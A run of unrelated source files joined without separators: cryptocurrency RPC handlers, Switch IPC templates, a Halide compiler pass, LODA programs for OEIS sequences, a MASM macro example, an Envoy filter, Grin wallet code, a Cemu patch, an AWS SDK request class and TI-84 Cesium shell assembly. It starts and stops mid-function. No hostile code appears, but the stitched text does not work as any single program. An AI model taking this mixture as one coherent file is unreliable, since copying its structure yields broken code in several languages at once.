result.push_back(Pair("address", address.ToString())); result.push_back(Pair("redeemScript", HexStr(inner.begin(), inner.end()))); return result; } Value verifymessage(const Array& params, bool fHelp) { if (fHelp || params.size() != 3) throw runtime_error( "verifymessage \"quicknodesaddress\" \"signature\" \"message\"\n" "\nVerify a signed message\n" "\nArguments:\n" "1. \"quicknodesaddress\" (string, required) The quicknodes address to use for the signature.\n" "2. \"signature\" (string, required) The signature provided by the signer in base 64 encoding (see signmessage).\n" "3. \"message\" (string, required) The message that was signed.\n" "\nResult:\n" "true|false (boolean) If the signature is verified or not.\n" "\nExamples:\n" "\nUnlock the wallet for 30 seconds\n" + HelpExampleCli("walletpassphrase", "\"mypassphrase\" 30") + "\nCreate the signature\n" + HelpExampleCli("signmessage", "\"1D1ZrZNe3JUo7ZycKEYQQiQAWd9y54F4XZ\" \"my message\"") + "\nVerify the signature\n" + HelpExampleCli("verifymessage", "\"1D1ZrZNe3JUo7ZycKEYQQiQAWd9y54F4XZ\" \"signature\" \"my message\"") + "\nAs json rpc\n" + HelpExampleRpc("verifymessage", "\"1D1ZrZNe3JUo7ZycKEYQQiQAWd9y54F4XZ\", \"signature\", \"my message\"")); string strAddress = params[0].get_str(); string strSign = params[1].get_str(); string strMessage = params[2].get_str(); CBitcoinAddress addr(strAddress); if (!addr.IsValid()) throw JSONRPCError(RPC_TYPE_ERROR, "Invalid address"); CKeyID keyID; if (!addr.GetKeyID(keyID)) throw JSONRPCError(RPC_TYPE_ERROR, "Address does not refer to key"); bool fInvalid = false; vector<unsigned char> vchSig = DecodeBase64(strSign.c_str(), &fInvalid); if (fInvalid) throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Malformed base64 encoding"); CHashWriter ss(SER_GETHASH, 0); ss << strMessageMagic; ss << strMessage; CPubKey pubkey; if (!pubkey.RecoverCompact(ss.GetHash(), vchSig)) return false; return (pubkey.GetID() == keyID); } Value setmocktime(const Array& params, bool fHelp) { if (fHelp || params.size() != 1) throw runtime_error( "setmocktime timestamp\n" "\nSet the local time to given timestamp (-regtest only)\n" "\nArguments:\n" "1. timestamp (integer, required) Unix seconds-since-epoch timestamp\n" " Pass 0 to go back to using the system time."); if (!Params().MineBlocksOnDemand()) throw runtime_error("setmocktime for regression testing (-regtest mode) only"); RPCTypeCheck(params, boost::assign::list_of(int_type)); SetMockTime(params[0].get_int64()); return Value::null; } #ifdef ENABLE_WALLET Value getstakingstatus(const Array& params, bool fHelp) { if (fHelp || params.size() != 0) throw runtime_error( "getstakingstatus\n" "Returns an object containing various staking information.\n" "\nResult:\n" "{\n" " \"validtime\": true|false, (boolean) if the chain tip is within staking phases\n" " \"haveconnections\": true|false, (boolean) if network connections are present\n" " \"walletunlocked\": true|false, (boolean) if the wallet is unlocked\n" " \"mintablecoins\": true|false, (boolean) if the wallet has mintable coins\n" " \"enoughcoins\": true|false, (boolean) if available coins are greater than reserve balance\n" " \"mnsync\": true|false, (boolean) if masternode data is synced\n" " \"staking status\": true|false, (boolean) if the wallet is staking or not\n" "}\n" "\nExamples:\n" + HelpExampleCli("getstakingstatus", "") + HelpExampleRpc("getstakingstatus", "")); Object obj; obj.push_back(Pair("validtime", chainActive.Tip()->nTime > 1471482000)); obj.push_back(Pair("haveconnections", !vNodes.empty())); if (pwalletMain) { obj.push_back(Pair("walletunlocked", !pwalletMain->IsLocked())); obj.push_back(Pair("mintablecoins", pwalletMain->MintableCoins())); obj.push_back(Pair("enoughcoins", nReserveBalance <= pwalletMain->GetBalance())); } obj.push_back(Pair("mnsync", masternodeSync.IsSynced())); bool nStaking = false; if (mapHashedBlocks.count(chainActive.Tip()->nHeight)) nStaking = true; else if (mapHashedBlocks.count(chainActive.Tip()->nHeight - 1) && nLastCoinStakeSearchInterval) nStaking = true; obj.push_back(Pair("staking status", nStaking)); return obj; } #endif // ENABLE_WALLET
#pragma once #include <bio/ipc/server/server_Impl.hpp> namespace bio::ipc::server { template<typename T> struct In : public CommandArgument { T &ref; constexpr In(T &ref) : ref(ref) {} inline constexpr void Process(CommandContext &ctx, CommandState state) { switch(state) { case CommandState::BeforeCommandHandler: { util::OffsetCalculator off(ctx.in.data_offset, ctx.in.data_size); this->ref = off.GetNext<T>(); ctx.in.data_size = off.GetCurrentOffset(); break; } default: break; } } }; struct InProcessId : public CommandArgument { u64 &pid; constexpr InProcessId(u64 &pid_ref) : pid(pid_ref) {} inline constexpr void Process(CommandContext &ctx, CommandState state) { switch(state) { case CommandState::BeforeCommandHandler: { this->pid = ctx.in.process_id; break; } default: break; } } }; /* template<HandleMode Mode> struct InHandle : public CommandArgument { u32 handle; constexpr InHandle(u32 handle) : handle(handle) {} inline constexpr void Process(CommandContext &ctx, CommandState state) { switch(state) { case CommandState::BeforeHeaderInitialization: { ctx.AddInHandle<Mode>(this->handle); break; } default: break; } } }; struct InSession : public CommandArgument { SessionBase session; constexpr InSession(SessionBase session) : session(session) {} inline constexpr void Process(CommandContext &ctx, CommandState state) { switch(state) { case CommandState::BeforeHeaderInitialization: { if(this->session.IsValid()) { if(this->session.IsDomain()) { ctx.PushInObject(this->session.GetObjectId()); } } break; } default: break; } } }; struct Buffer : public CommandArgument { void *buf; u64 buf_size; BufferAttribute attr; constexpr Buffer(void *buf, u64 buf_size, BufferAttribute attr) : buf(buf), buf_size(buf_size), attr(attr) {} inline constexpr void Process(CommandContext &ctx, CommandState state) { switch(state) { case CommandState::BeforeHeaderInitialization: { ctx.AddBuffer(this->buf, this->buf_size, this->attr); break; } default: break; } } }; */ template<typename T> struct Out : public CommandArgument { T value; u64 offset; constexpr Out(T value) : value(value), offset(0) {} inline constexpr void Process(CommandContext &ctx, CommandState state) { switch(state) { case CommandState::BeforeResponseWrite: { util::OffsetCalculator off(ctx.out.data_size); this->offset = off.GetNextOffset<T>(); ctx.out.data_size = off.GetCurrentOffset(); break; } case CommandState::AfterResponseWrite: { util::OffsetCalculator off(ctx.out.data_offset); off.SetByOffset<T>(this->offset, this->value); break; } default: break; } } }; struct OutProcessId : public CommandArgument { inline constexpr void Process(CommandContext &ctx, CommandState state) { switch(state) { case CommandState::BeforeResponseWrite: { ctx.out.send_process_id = true; break; } default: break; } } }; template<HandleMode Mode> struct OutHandle : public CommandArgument { u32 handle; constexpr OutHandle(u32 handle) : handle(handle) {} inline constexpr void Process(CommandContext &ctx, CommandState state) { switch(state) { case CommandState::BeforeResponseWrite: { switch(Mode) { case HandleMode::Copy: { ctx.out.copy_handles.PushBack(this->handle); break; } case HandleMode::Move: { ctx.out.move_handles.PushBack(this->handle); break; } } break; } default: break; } } }; }
#include <map> #include "EarlyFree.h" #include "IRVisitor.h" #include "IRMutator.h" namespace Halide { namespace Internal { using std::map; using std::string; using std::vector; class FindLastUse : public IRVisitor { public: string func; Stmt last_use; FindLastUse(string s) : func(s), in_loop(false) {} private: bool in_loop; Stmt containing_stmt; using IRVisitor::visit; void visit(const For *loop) { loop->min.accept(this); loop->extent.accept(this); bool old_in_loop = in_loop; in_loop = true; loop->body.accept(this); in_loop = old_in_loop; } void visit(const Load *load) { if (func == load->name) { last_use = containing_stmt; } IRVisitor::visit(load); } void visit(const Call *call) { if (call->name == func) { last_use = containing_stmt; } IRVisitor::visit(call); } void visit(const Store *store) { if (func == store->name) { last_use = containing_stmt; } IRVisitor::visit(store); } void visit(const Pipeline *pipe) { if (in_loop) { IRVisitor::visit(pipe); } else { Stmt old_containing_stmt = containing_stmt; containing_stmt = pipe->produce; pipe->produce.accept(this); if (pipe->update.defined()) { containing_stmt = pipe->update; pipe->update.accept(this); } containing_stmt = old_containing_stmt; pipe->consume.accept(this); } } void visit(const Block *block) { if (in_loop) { IRVisitor::visit(block); } else { Stmt old_containing_stmt = containing_stmt; containing_stmt = block->first; block->first.accept(this); if (block->rest.defined()) { containing_stmt = block->rest; block->rest.accept(this); } containing_stmt = old_containing_stmt; } } }; class InjectMarker : public IRMutator { public: string func; Stmt last_use; InjectMarker() : injected(false) {} private: bool injected; using IRMutator::visit; Stmt inject_marker(Stmt s) { if (injected) return s; if (s.same_as(last_use)) { injected = true; return Block::make(s, Free::make(func)); } else { return mutate(s); } } void visit(const Pipeline *pipe) { // Do it in reverse order, so the injection occurs in the last instance of the stmt. Stmt new_consume = inject_marker(pipe->consume); Stmt new_update; if (pipe->update.defined()) { new_update = inject_marker(pipe->update); } Stmt new_produce = inject_marker(pipe->produce); if (new_produce.same_as(pipe->produce) && new_update.same_as(pipe->update) && new_consume.same_as(pipe->consume)) { stmt = pipe; } else { stmt = Pipeline::make(pipe->name, new_produce, new_update, new_consume); } } void visit(const Block *block) { Stmt new_rest = inject_marker(block->rest); Stmt new_first = inject_marker(block->first); if (new_first.same_as(block->first) && new_rest.same_as(block->rest)) { stmt = block; } else { stmt = Block::make(new_first, new_rest); } } }; class InjectEarlyFrees : public IRMutator { using IRMutator::visit; void visit(const Allocate *alloc) { IRMutator::visit(alloc); alloc = stmt.as<Allocate>(); assert(alloc); FindLastUse last_use(alloc->name); stmt.accept(&last_use); if (last_use.last_use.defined()) { InjectMarker inject_marker; inject_marker.func = alloc->name; inject_marker.last_use = last_use.last_use; stmt = inject_marker.mutate(stmt); } else { stmt = Allocate::make(alloc->name, alloc->type, alloc->size, Block::make(alloc->body, Free::make(alloc->name))); } } }; Stmt inject_early_frees(Stmt s) { InjectEarlyFrees early_frees; return early_frees.mutate(s); } // TODO: test } }
; A026551: a(n) = Sum{T(i,j)}, 0<=j<=i, 0<=i<=2n, T given by A026536. ; 3,9,21,57,129,345,777,2073,4665,12441,27993,74649,167961,447897,1007769,2687385,6046617,16124313,36279705,96745881,217678233,580475289,1306069401,3482851737,7836416409,20897110425,47018498457 add $0,5 mov $2,10 mov $4,8 mov $5,3 lpb $0,1 sub $0,1 mov $3,$2 mov $2,9 add $2,$4 add $2,6 mul $3,$5 add $3,5 mov $4,$3 mov $5,6 lpe add $2,$3 add $1,$2 div $1,4860 mul $1,6 add $1,3
#include "library/common/extensions/filters/http/test_event_tracker/filter.h" #include "library/common/api/external.h" #include "library/common/bridge/utility.h" namespace Envoy { namespace Extensions { namespace HttpFilters { namespace TestEventTracker { TestEventTrackerFilterConfig::TestEventTrackerFilterConfig( const envoymobile::extensions::filters::http::test_event_tracker::TestEventTracker& proto_config) : event_tracker_(static_cast<envoy_event_tracker*>( Api::External::retrieveApi(envoy_event_tracker_api_name))) { auto attributes = std::vector<std::pair<std::string, std::string>>(); for (auto& pair : proto_config.attributes()) { attributes.push_back({std::string(pair.first), std::string(pair.second)}); } attributes_ = attributes; } Http::FilterHeadersStatus TestEventTrackerFilter::decodeHeaders(Http::RequestHeaderMap&, bool) { config_->track(Envoy::Bridge::makeEnvoyMap(config_->attributes())); return Http::FilterHeadersStatus::Continue; } } // namespace TestEventTracker } // namespace HttpFilters } // namespace Extensions } // namespace Envoy
; A103312: A transform of the Jacobsthal numbers. ; 0,1,1,1,0,-3,-9,-18,-27,-27,0,81,243,486,729,729,0,-2187,-6561,-13122,-19683,-19683,0,59049,177147,354294,531441,531441,0,-1594323,-4782969,-9565938,-14348907,-14348907,0,43046721,129140163,258280326,387420489,387420489,0,-1162261467,-3486784401,-6973568802,-10460353203,-10460353203,0,31381059609,94143178827,188286357654,282429536481,282429536481,0,-847288609443,-2541865828329,-5083731656658,-7625597484987,-7625597484987,0,22876792454961,68630377364883,137260754729766,205891132094649 lpb $0 sub $0,1 mov $1,$0 div $0,50405 trn $0,9 max $1,0 seq $1,57681 ; a(n) = Sum_{j=0..floor(n/3)} (-1)^j*binomial(n,3*j). lpe mov $0,$1
; A232628: Denominators of the triangle of polynomial coefficients P(0,x)=1, 2*P(n)=(1+x)*((1+x)^(n-1)+x^(n-1)). ; Submitted by Jon Maiga ; 1,1,1,2,2,1,2,2,1,1,2,1,1,2,1,2,2,1,1,1,1,2,1,2,1,2,2,1,2,2,2,2,2,2,1,1,2,1,1,1,1,1,1,2,1,2,2,1,1,1,1,1,1,1,1,2,1,2,1,1,1,1,1,2,2,1 seq $0,133138 ; Triangle T(n,k) of the coefficients of the polynomials Q(n,x)=(1+x)[(1+x)^(n-1)+x^(n-1)], Q(0,x)=2. mod $0,2 add $0,1
; Using Macro Conditional Expressions (Macro3.asm) ; The MUL32 macro issues a warning and exits if EAX ; is passed as the second argument. The Text macro LINENUM ; must be defined first. Then, the % (expansion operator) ; in the first column of the line containing the ECHO statement ; causes LINENUM to be expanded into the source file line ; number where the macro is being expanded. It is important ; to define LINENUM inside the macro--otherwise, it just ; returns the line number where LINENUM is declared. INCLUDE Irvine32.inc MUL32 MACRO op1, op2, product IFIDNI <op2>,<EAX> LINENUM TEXTEQU %(@LINE) ECHO -------------------------------------------------- % ECHO * Error on line LINENUM: EAX cannot be the second ECHO * argument when invoking the MUL32 macro. ECHO -------------------------------------------------- EXITM ENDIF push eax mov eax,op1 mul op2 mov product,eax pop eax ENDM .data val1 DWORD 1234h val2 DWORD 1000h val3 DWORD ? array DWORD 1,2,3,4,5,6,7,8 .code main PROC ; The following do not evaluate SIZEOF: ECHO The array contains (SIZEOF array) bytes ECHO The array contains %(SIZEOF array) bytes ; Using the Expansion (%) operator at the beginning of a line: TempStr TEXTEQU %(SIZEOF array) % ECHO The array contains TempStr bytes ;MUL32 val1,val2,val3 ; val3 = val1 * val2 mov eax,val2 MUL32 val1,EAX,val3 ; issues a warning exit main ENDP END main
; A339052: Odd bisection of the infinite Fibonacci word A096270. ; 1,1,0,0,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,0,0,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,0,0,1,1,0,0,1,1,0,0,1,1,1,0,1,1,1,0,0,1,1,0,0,1,1,0,0,1,1,1,0,1,1,1,0,0,1,1,0,0,1,1,0,0,1,1,1,0,1,1 mul $0,2 add $0,2 seq $0,189661 ; Fixed point of the morphism 0->010, 1->10 starting with 0. cmp $0,0
#include "WalletImpl.h" #include "WalletRefresher.h" #include <Wallet/Keychain/KeyChain.h> #include <Wallet/NodeClient.h> #include <Common/Logger.h> #include <Crypto/CryptoException.h> #include <Crypto/Hasher.h> #include <Core/Exceptions/WalletException.h> #include <Consensus/Common.h> #include <unordered_set> WalletImpl::WalletImpl( const Config& config, const std::shared_ptr<const INodeClient>& pNodeClient, Locked<IWalletDB> walletDB, const std::string& username, KeyChainPath&& userPath, const SlatepackAddress& address ) : m_config(config), m_pNodeClient(pNodeClient), m_walletDB(walletDB), m_username(username), m_userPath(std::move(userPath)), m_address(address) { } Locked<WalletImpl> WalletImpl::LoadWallet( const Config& config, const SecureVector& masterSeed, const std::shared_ptr<const INodeClient>& pNodeClient, Locked<IWalletDB> walletDB, const std::string& username) { KeyChainPath userPath = KeyChainPath::FromString("m/0/0"); // FUTURE: Support multiple account paths ed25519_keypair_t torKey = KeyChain::FromSeed(config, masterSeed).DeriveED25519Key(KeyChainPath::FromString("m/0/1/0")); return Locked<WalletImpl>(std::make_shared<WalletImpl>(WalletImpl{ config, pNodeClient, walletDB, username, std::move(userPath), SlatepackAddress(torKey.public_key) })); } WalletSummaryDTO WalletImpl::GetWalletSummary(const SecureVector& masterSeed) { WalletBalanceDTO balance = GetBalance(masterSeed); std::vector<WalletTx> transactions = m_walletDB.Read()->GetTransactions(masterSeed); return WalletSummaryDTO( m_config.GetWalletConfig().GetMinimumConfirmations(), balance, std::move(transactions) ); } WalletBalanceDTO WalletImpl::GetBalance(const SecureVector& masterSeed) { uint64_t awaitingConfirmation = 0; uint64_t immature = 0; uint64_t locked = 0; uint64_t spendable = 0; const uint64_t lastConfirmedHeight = m_pNodeClient->GetChainHeight(); const std::vector<OutputDataEntity> outputs = RefreshOutputs(masterSeed, false); for (const OutputDataEntity& outputData : outputs) { const EOutputStatus status = outputData.GetStatus(); if (status == EOutputStatus::LOCKED) { locked += outputData.GetAmount(); } else if (status == EOutputStatus::SPENDABLE) { spendable += outputData.GetAmount(); } else if (status == EOutputStatus::IMMATURE) { immature += outputData.GetAmount(); } else if (status == EOutputStatus::NO_CONFIRMATIONS) { awaitingConfirmation += outputData.GetAmount(); } } return WalletBalanceDTO( lastConfirmedHeight, awaitingConfirmation, immature, locked, spendable ); } std::vector<OutputDataEntity> WalletImpl::RefreshOutputs(const SecureVector& masterSeed, const bool fromGenesis) { return WalletRefresher(m_config, m_pNodeClient).Refresh(masterSeed, m_walletDB, fromGenesis); } std::vector<OutputDataEntity> WalletImpl::GetAllAvailableCoins(const SecureVector& masterSeed) { const KeyChain keyChain = KeyChain::FromSeed(m_config, masterSeed); std::vector<OutputDataEntity> coins; std::vector<Commitment> commitments; const std::vector<OutputDataEntity> outputs = RefreshOutputs(masterSeed, false); for (const OutputDataEntity& output : outputs) { if (output.GetStatus() == EOutputStatus::SPENDABLE) { coins.emplace_back(output); } } return coins; } OutputDataEntity WalletImpl::CreateBlindedOutput( const SecureVector& masterSeed, const uint64_t amount, const KeyChainPath& keyChainPath, const uint32_t walletTxId, const EBulletproofType& bulletproofType) { const KeyChain keyChain = KeyChain::FromSeed(m_config, masterSeed); SecretKey blindingFactor = keyChain.DerivePrivateKey(keyChainPath, amount); Commitment commitment = Crypto::CommitBlinded(amount, BlindingFactor(blindingFactor.GetBytes())); RangeProof rangeProof = keyChain.GenerateRangeProof(keyChainPath, amount, commitment, blindingFactor, bulletproofType); TransactionOutput transactionOutput( EOutputFeatures::DEFAULT, std::move(commitment), std::move(rangeProof) ); return OutputDataEntity( KeyChainPath(keyChainPath), std::move(blindingFactor), std::move(transactionOutput), amount, EOutputStatus::NO_CONFIRMATIONS, std::make_optional(walletTxId), std::nullopt ); } BuildCoinbaseResponse WalletImpl::CreateCoinbase( const SecureVector& masterSeed, const uint64_t fees, const std::optional<KeyChainPath>& keyChainPathOpt) { const KeyChain keyChain = KeyChain::FromSeed(m_config, masterSeed); auto pDatabase = m_walletDB.BatchWrite(); const uint64_t amount = Consensus::REWARD + fees; const KeyChainPath keyChainPath = keyChainPathOpt.value_or( pDatabase->GetNextChildPath(m_userPath) ); SecretKey blindingFactor = keyChain.DerivePrivateKey(keyChainPath, amount); Commitment commitment = Crypto::CommitBlinded( amount, BlindingFactor(blindingFactor.GetBytes()) ); RangeProof rangeProof = keyChain.GenerateRangeProof( keyChainPath, amount, commitment, blindingFactor, EBulletproofType::ENHANCED ); BlindingFactor txOffset; Commitment kernelCommitment = Crypto::AddCommitments( { commitment }, { Crypto::CommitTransparent(amount) } ); TransactionOutput output( EOutputFeatures::COINBASE_OUTPUT, std::move(commitment), std::move(rangeProof) ); Serializer serializer; serializer.Append<uint8_t>((uint8_t)EKernelFeatures::COINBASE_KERNEL); auto pSignature = Crypto::BuildCoinbaseSignature( blindingFactor, kernelCommitment, Hasher::Blake2b(serializer.GetBytes()) ); TransactionKernel kernel( EKernelFeatures::COINBASE_KERNEL, 0, 0, std::move(kernelCommitment), Signature(*pSignature) ); pDatabase->Commit(); return BuildCoinbaseResponse( std::move(kernel), std::move(output), std::move(keyChainPath) ); } std::unique_ptr<WalletTx> WalletImpl::GetTxById(const SecureVector& masterSeed, const uint32_t walletTxId) const { std::vector<WalletTx> transactions = m_walletDB.Read()->GetTransactions(masterSeed); for (WalletTx& walletTx : transactions) { if (walletTx.GetId() == walletTxId) { return std::make_unique<WalletTx>(WalletTx(walletTx)); } } WALLET_INFO_F("Could not find transaction {}", walletTxId); return std::unique_ptr<WalletTx>(nullptr); } std::unique_ptr<WalletTx> WalletImpl::GetTxBySlateId(const SecureVector& masterSeed, const uuids::uuid& slateId) const { std::vector<WalletTx> transactions = m_walletDB.Read()->GetTransactions(masterSeed); for (WalletTx& walletTx : transactions) { if (walletTx.GetSlateId().has_value() && walletTx.GetSlateId().value() == slateId) { return std::make_unique<WalletTx>(WalletTx(walletTx)); } } WALLET_INFO("Could not find transaction " + uuids::to_string(slateId)); return std::unique_ptr<WalletTx>(nullptr); }
[MemeRun_NiceFPS] moduleMatches = 0xCDEC1245 0x1004B698 = .float $targetFPS
; A014907: a(1)=1, a(n) = 22*a(n-1) + n. ; 1,24,531,11686,257097,5656140,124435087,2737571922,60226582293,1324984810456,29149665830043,641292648260958,14108438261741089,310385641758303972,6828484118682687399,150226650611019122794,3304986313442420701485,72709698895733255432688,1599613375706131619519155,35191494265534895629421430,774212873841767703847271481,17032683224518889484639972604,374719030939415568662079397311,8243818680667142510565746740866,181364010974677135232446428299077,3990008241442896975113821422579720 add $0,1 lpb $0 sub $0,1 add $2,1 mul $2,22 add $1,$2 lpe div $1,22 mov $0,$1
; A193250: Small rhombicuboctahedron with faces of centered polygons. ; 1,51,245,679,1449,2651,4381,6735,9809,13699,18501,24311,31225,39339,48749,59551,71841,85715,101269,118599,137801,158971,182205,207599,235249,265251,297701,332695,370329,410699,453901,500031,549185,601459,656949,715751,777961,843675,912989,985999,1062801,1143491,1228165,1316919,1409849,1507051,1608621,1714655,1825249,1940499,2060501,2185351,2315145,2449979,2589949,2735151,2885681,3041635,3203109,3370199,3543001,3721611,3906125,4096639,4293249,4496051,4705141,4920615,5142569,5371099,5606301,5848271,6097105,6352899,6615749,6885751,7163001,7447595,7739629,8039199,8346401,8661331,8984085,9314759,9653449,10000251,10355261,10718575,11090289,11470499,11859301,12256791,12663065,13078219,13502349,13935551,14377921,14829555,15290549,15760999,16241001,16730651,17230045,17739279,18258449,18787651,19326981,19876535,20436409,21006699,21587501,22178911,22781025,23393939,24017749,24652551,25298441,25955515,26623869,27303599,27994801,28697571,29412005,30138199,30876249,31626251,32388301,33162495,33948929,34747699,35558901,36382631,37218985,38068059,38929949,39804751,40692561,41593475,42507589,43434999,44375801,45330091,46297965,47279519,48274849,49284051,50307221,51344455,52395849,53461499,54541501,55635951,56744945,57868579,59006949,60160151,61328281,62511435,63709709,64923199,66152001,67396211,68655925,69931239,71222249,72529051,73851741,75190415,76545169,77916099,79303301,80706871,82126905,83563499,85016749,86486751,87973601,89477395,90998229,92536199,94091401,95663931,97253885,98861359,100486449,102129251,103789861,105468375,107164889,108879499,110612301,112363391,114132865,115920819,117727349,119552551,121396521,123259355,125141149,127041999,128962001,130901251,132859845,134837879,136835449,138852651,140889581,142946335,145023009,147119699,149236501,151373511,153530825,155708539,157906749,160125551,162365041,164625315,166906469,169208599,171531801,173876171,176241805,178628799,181037249,183467251,185918901,188392295,190887529,193404699,195943901,198505231,201088785,203694659,206322949,208973751,211647161,214343275,217062189,219803999,222568801,225356691,228167765,231002119,233859849,236741051,239645821,242574255,245526449,248502499 mul $0,2 add $0,1 mov $2,$0 pow $0,3 sub $2,$0 sub $0,$2 mov $1,$0
/* * Copyright 2010-2017 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"). * You may not use this file except in compliance with the License. * A copy of the License is located at * * http://aws.amazon.com/apache2.0 * * or in the "license" file accompanying this file. This file is distributed * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either * express or implied. See the License for the specific language governing * permissions and limitations under the License. */ #include <aws/codepipeline/model/RetryStageExecutionRequest.h> #include <aws/core/utils/json/JsonSerializer.h> #include <utility> using namespace Aws::CodePipeline::Model; using namespace Aws::Utils::Json; using namespace Aws::Utils; RetryStageExecutionRequest::RetryStageExecutionRequest() : m_pipelineNameHasBeenSet(false), m_stageNameHasBeenSet(false), m_pipelineExecutionIdHasBeenSet(false), m_retryMode(StageRetryMode::NOT_SET), m_retryModeHasBeenSet(false) { } Aws::String RetryStageExecutionRequest::SerializePayload() const { JsonValue payload; if(m_pipelineNameHasBeenSet) { payload.WithString("pipelineName", m_pipelineName); } if(m_stageNameHasBeenSet) { payload.WithString("stageName", m_stageName); } if(m_pipelineExecutionIdHasBeenSet) { payload.WithString("pipelineExecutionId", m_pipelineExecutionId); } if(m_retryModeHasBeenSet) { payload.WithString("retryMode", StageRetryModeMapper::GetNameForStageRetryMode(m_retryMode)); } return payload.View().WriteReadable(); } Aws::Http::HeaderValueCollection RetryStageExecutionRequest::GetRequestSpecificHeaders() const { Aws::Http::HeaderValueCollection headers; headers.insert(Aws::Http::HeaderValuePair("X-Amz-Target", "CodePipeline_20150709.RetryStageExecution")); return headers; }
; Copyright 2015-2021 Matt "MateoConLechuga" Waltz ; ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions are met: ; ; 1. Redistributions of source code must retain the above copyright notice, ; this list of conditions and the following disclaimer. ; ; 2. Redistributions in binary form must reproduce the above copyright notice, ; this list of conditions and the following disclaimer in the documentation ; and/or other materials provided with the distribution. ; ; 3. Neither the name of the copyright holder nor the names of its contributors ; may be used to endorse or promote products derived from this software ; without specific prior written permission. ; ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ; ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE ; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR ; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF ; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS ; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN ; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE ; POSSIBILITY OF SUCH DAMAGE. ; features offered by cesium NORMAL_CHARS := 255 NUMBER_CHARS := 254 LOWERCASE_CHARS := 253 name_buffer := ti.mpLcdCrsrImage + 1000 feature_item_new: ld a,(current_screen) cp a,screen_programs jq nz,main_loop bit cesium_is_nl_disabled,(iy + cesium_flag) jp nz,main_loop res item_renaming,(iy + item_flag) res item_is_hidden,(iy + item_flag) xor a,a ld (name_buffer + 1),a ; no name set yet jq feature_item_rename.get_input feature_item_rename: ld a,(current_screen) cp a,screen_programs jq z,.continue cp a,screen_appvars jq nz,main_loop .continue: call feature_check_valid call util_move_prgm_name_to_op1 ld hl,ti.OP1 ld de,name_buffer ld bc,9 ldir res item_is_hidden,(iy + item_flag) ld hl,name_buffer + 1 ld a,(hl) cp a,64 jr nc,.not_hidden set item_is_hidden,(iy + item_flag) add a,64 ld (hl),a .not_hidden: set item_renaming,(iy + item_flag) .get_input: ld a,(color_senary) draw_rectangle_color 199, 173, 313, 215 ld hl,string_rename bit item_renaming,(iy + item_flag) jr nz,.rename ld hl,string_new_prgm .rename: print_xy 199, 173 set_cursor 199, 195 ld hl,name_buffer + 1 ld a,(current_screen) cp a,screen_programs jq nz,.appvar call util_get_var_name_input.prgm jq .confirm .appvar: call util_get_var_name_input.appvar .confirm: jq z,.goto_main ; canceled input bit item_renaming,(iy + item_flag) jq nz,.renaming ld hl,name_buffer ld (hl),ti.ProgObj ; already in op1 call ti.Mov9ToOP1 call ti.ChkFindSym jq nc,.get_input ; check if var exists ld hl,name_buffer call ti.Mov9ToOP1 ld a,(ti.OP1 + 1) sub a,64 ld (ti.OP1 + 1),a call ti.ChkFindSym jq nc,.get_input ; check if hidden var exists ld hl,name_buffer call ti.Mov9ToOP1 ld a,ti.ProgObj or a,a sbc hl,hl call ti.CreateVar jq .goto_main .renaming: bit item_is_hidden,(iy + item_flag) jr z,.dont_hide ld a,(name_buffer + 1) sub a,64 ld (name_buffer + 1),a .dont_hide: call util_move_prgm_name_to_op1 ; move the current name to op1 ld hl,cesium.Arc_Unarc ld (.jump_smc),hl ld de,name_buffer ld hl,ti.OP1 ldi call ti.PushOP1 ld hl,name_buffer call ti.Mov9ToOP1 call ti.ChkFindSym push af call ti.PopOP1 pop af jq c,.locate_program ; check if var exists bit item_is_hidden,(iy + item_flag) jq z,.get_input ld a,(name_buffer + 1) add a,64 ld (name_buffer + 1),a jq .get_input .locate_program: call ti.PushOP1 call ti.ChkFindSym call ti.ChkInRam push af,hl,de call ti.PopOP1 pop de,hl,af jr nz,.in_archive ld hl,$f8 ; _ret ld (.jump_smc),hl call ti.PushOP1 call cesium.Arc_Unarc call ti.PopOP1 jr .locate_program .in_archive: ex de,hl ld de,9 add hl,de ; skip VAT stuff ld e,(hl) add hl,de inc hl ; size of name call ti.LoadDEInd_s push hl push de call ti.PushOP1 ld hl,name_buffer call ti.Mov9ToOP1 call ti.PushOP1 pop hl push hl ld a,(ti.OP1) call ti.CreateVar inc de inc de pop bc pop hl call ti.ChkBCIs0 jr z,.is_zero ldir .is_zero: call ti.PopOP1 call cesium.Arc_Unarc .jump_smc := $-3 call ti.PopOP1 call ti.ChkFindSym call ti.DelVarArc .goto_main: call find_files ld hl,name_buffer + 1 call search_name jp main_start .setting_editor_name: ld hl,name_buffer ld (hl),ti.ProtProgObj ld de,setting_editor_name call ti.Mov9b call settings_save jp main_start feature_item_edit: ld a,(current_screen) cp a,screen_programs jp nz,main_loop call feature_check_valid bit prgm_locked,(iy + prgm_flag) jp nz,main_loop ld a,(prgm_type) cp a,file_ice_source jr z,.good cp a,file_basic jp nz,main_loop .good: call util_move_prgm_name_to_op1 jp edit_basic_program feature_item_delete: ld a,(current_screen) cp a,screen_usb jq nz,.notfatfile bit setting_delete_confirm,(iy + settings_flag) jq z,fat_file_delete call .showconfirm call .getinput jq fat_file_delete .notfatfile: ld a,(current_screen) cp a,screen_apps jr z,.delete_app call feature_check_valid .delete_program: call util_check_if_vat_page_directory jp z,main_start bit setting_delete_confirm,(iy + settings_flag) call nz,.showconfirm bit setting_delete_confirm,(iy + 